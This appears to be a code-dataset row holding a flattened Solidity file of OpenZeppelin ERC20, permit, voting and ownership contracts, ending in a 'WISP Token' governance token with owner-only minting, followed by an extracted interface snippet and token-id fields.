/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/[email protected]/utils/cryptography/draft-EIP712.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/draft-IERC20Permit.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: @openzeppelin/[email protected]/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/[email protected]/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/draft-ERC20Permit.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Votes.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is IVotes, ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual override returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view virtual override returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual override {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Burnable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
// File: contract-35c9d99284.sol
pragma solidity ^0.8.4;
/// @custom:security-contact [email protected]
contract WISPToken is ERC20, ERC20Burnable, Ownable, ERC20Permit, ERC20Votes {
constructor() ERC20("WISP Token", "WISP") ERC20Permit("WISP Token") {
_mint(msg.sender, 100000000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
// The following functions are overrides required by Solidity.
function _afterTokenTransfer(address from, address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._afterTokenTransfer(from, to, amount);
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._mint(to, amount);
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._burn(account, amount);
}
} | * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts. _Available since v4.5._/ | interface IVotes {
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
function getVotes(address account) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function delegates(address account) external view returns (address);
function delegate(address delegatee) external;
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
pragma solidity ^0.8.0;
}
| 501,681 | [
1,
6517,
1560,
364,
288,
